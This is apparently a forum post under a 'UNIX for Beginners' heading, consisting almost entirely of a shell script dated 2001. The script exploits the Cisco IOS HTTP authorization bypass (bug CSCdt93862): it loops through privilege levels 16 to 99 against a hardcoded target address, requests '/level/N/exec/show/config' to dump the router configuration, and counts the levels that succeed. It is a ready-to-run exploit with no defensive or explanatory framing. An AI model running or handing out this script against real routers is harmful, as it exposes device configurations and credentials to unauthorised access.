UNIX for Beginners Questions & Answers

#!/bin/sh
#============================================================================
# $Id: ios-http-auth.sh,v 1.1 2001/06/29 00:59:44 root Exp root $
#
# Brute force IOS HTTP authorization vulnerability (Cisco Bug ID CSCdt93862).
#============================================================================
TARGET=192.168.10.20
FETCH="/usr/bin/fetch"
LEVEL=16 # Start Level
EXPLOITABLE=0 # Counter
while [ $LEVEL -lt 100 ]; do
CMD="${FETCH} http://${TARGET}/level/${LEVEL}/exec/show/config"
echo; echo ${CMD}
if (${CMD}) then
EXPLOITABLE=`expr ${EXPLOITABLE} + 1`
fi
LEVEL=`expr $LEVEL + 1`
done;
echo; echo All done
echo "${EXPLOITABLE} exploitable levels"